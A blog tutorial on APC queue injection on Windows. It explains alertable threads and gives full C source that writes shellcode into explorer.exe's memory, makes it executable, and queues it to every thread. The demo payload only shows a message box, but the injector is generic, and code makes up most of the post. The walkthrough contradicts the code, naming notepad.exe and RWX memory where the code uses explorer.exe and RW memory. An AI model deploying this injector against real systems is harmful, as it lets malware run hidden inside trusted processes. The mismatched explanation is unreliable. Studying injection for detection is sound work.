APC Queue Code Injection

0xmani
5 min readOct 5, 2023

--

In this blog, we are going to see how the APC Queue Injection works and write our code to execute the payload. I recommend you to read my previous blog posts — Understanding Process Injection and Classic Process Injection, which gives us an overview and an idea of process injection.

What and How APC works:

APC stands for Asynchronous Procedure Call. APCs are used to execute the user-defined functions in the context of the particular thread. When the thread enters an ‘alertable’ state, the Windows kernel checks if there are any queued APCs for that thread. If an APC is found in the queue, the kernel suspends the normal execution and it will execute the code/function specified in the APC.

APC (Asynchronous Procedure Call) Queue Injection is a technique used in Windows for injecting malicious code or arbitrary code into the address space of a target process. As we mentioned in the Classic process injection topic, this injection technique also used code injection for remote access, privilege escalation, or hiding malicious activities.

In Windows, threads can be in one of the following states,

Running — The thread is actively executive code.
Waiting — The thread is waiting for some events to occur
Blocked — The thread is blocked.
Alertable — This is the special state that allows a thread to be waiting for an alert event, which can be triggered using the ‘QueueUserAPC’ function.

Whenever the thread is in an alertable state and the APC is queued using QueueUserAPC, the thread suspends the current execution or activity, executes the APC, and then resumes the previous activity.

Steps involved in writing code:

  1. First, we need to identify the target process and obtain the handle to a target process. we need to get or open the already running process which runs at the same privilege level.
  2. Next, we need to allocate new memory regions with read and write permission at the target process. Still, the payload is not executable, because the thread does not have the executable permission.
  3. Now we have an allocated memory with RW(read and write), we need to write payload into the allocated memory.
  4. Then we need to change the base protection from RW (read and write) to RX (read and execute.)
  5. Then Find all threads in target exe.
  6. Now Queue an APC to all those threads. APC points to the shellcode address.
  7. When threads in target exe get scheduled, our shellcode gets executed.

Win32 API call used:

  1. Enumerating the threads and process — CreateToolHelp32Snapshot
  2. Obtain Handle to a target process — OpenProcess
  3. Allocate new memory at target process — VirtualAllocEx
  4. Write payload into newly allocated memory — WriteProcessMemory
  5. Changing the memory protection — VirtualProtectEx
  6. Queue the payload — QueueUserAPC
  7. Wait routines put the thread in an alertable state — SleepEx(),
  8. WaitForSingleObjectEx(), WaitForMultipleObjectEx(), Sleep().
#include<stdio.h>
#include<windows.h>
#include<tlhelp32.h>

int main() {

//Payload : Hello World Message BOX
unsigned char buf[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";


//Thread and Process Enumeration
HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
//hsnapshot = { INVALID_HANDLE_VALUE }
if(hsnapshot == INVALID_HANDLE_VALUE){
wprintf(L"[-] Failed to create a snapshot!\n");
CloseHandle(hsnapshot);
}

PROCESSENTRY32 pe32;
THREADENTRY32 th32;

pe32.dwSize = sizeof(PROCESSENTRY32);
th32.dwSize = sizeof(THREADENTRY32);

if (!Process32First(hsnapshot, &pe32)) {
printf("[-] Process32First Failed!");
CloseHandle(hsnapshot);
}

if (!Thread32First(hsnapshot, &th32)) {
printf("[-] Thread32First Failed !");
CloseHandle(hsnapshot);
}

//Finding target process by comparing with snapshot
if (Process32First(hsnapshot, &pe32)) {
while (_wcsicmp(pe32.szExeFile, L"explorer.exe") != 0) {
Process32Next(hsnapshot, &pe32);
}
}
SIZE_T payloadsize = sizeof(buf);
DWORD oldprotection = NULL;

//Open the targetprocess
HANDLE targetprocess = OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ProcessID);
if (targetprocess == INVALID_HANDLE_VALUE) {
printf("[-] Failed to Open process %d \n", GetLastError());
return 1;
}
//Allocate the Memory on the target process | change permission to RW
PVOID remoteBuffer = VirtualAllocEx(targetprocess, NULL, payloadsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
if (remoteBuffer == NULL) {
printf("[-] Remote Allocation Failed: %d \n", GetLastError());
return 1;
}
printf("[+] Allocated Remote Memory: %p \n", remoteBuffer);

//Write payload on the allocated memory
if (!WriteProcessMemory(targetprocess, remoteBuffer, buf, payloadsize, NULL)) {
printf("[-] Failed to write payload in remote process: %d \n", GetLastError());
return 1;
}


//Change the permission from RW to RX
if (!VirtualProtectEx(targetprocess, remoteBuffer, payloadsize, PAGE_EXECUTE_READ, &oldprotection)) {
printf("[-] Failed to change memory protection from RW to RX: %d \n", GetLastError());
return 1;
}

if (Thread32First(hsnapshot, &th32)) {
do {
if (th32.th32OwnerProcessID == pe32.th32ProcessID) {
//Open the thread handle
HANDLE threadhandle = OpenThread(THREAD_ALL_ACCESS, true, th32.th32ThreadID);
//Queue the Shellcode
QueueUserAPC((PAPCFUNC)remoteBuffer, threadhandle, NULL);
// Sleep to allow the APC to execute
Sleep(1000 * 2);

}
} while (Thread32Next(hsnapshot, &th32));
}
return 0;
}
APC Queue Code Injection in notepad.exe

Code Walkthrough:

  1. First, define the shellcode you want to inject, here we have a shellcode that pops up a message box containing a hello world message.
  2. Declare the variables. These variables will be used to hold handles to the target process, the remote thread, and the allocated memory in the target process.
  3. We start enumerating the threads and processes running on the target machine, it compares the exe name which equals to our target process (here we take the notepad.exe).
  4. Then OpenProcess API opens a handle to the target process identified by the process ID.
  5. Then the memory is allocated within the target process using VirtualAllocEx. The memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The shellcode is going to be written into this allocated memory.
  6. Using WriteProcessMemory, we write the shellcode into the allocated memory space within the target process.
  7. Then we change the memory protection of the allocated memory from read/write to read/execute using VirtualProtectEx.
  8. Then we enumerate the threads in the target process, open the handles to each thread, and inject shellcode using APC to execute the payload in each thread’s context after a 2-second delay.

We’ll see more process injection techniques in the upcoming blog series.

Thanks for Reading !!!

Stay connected! Happy Hacking!!!

--

--

0xmani

Red Team | Malware Developer | Penetration Tester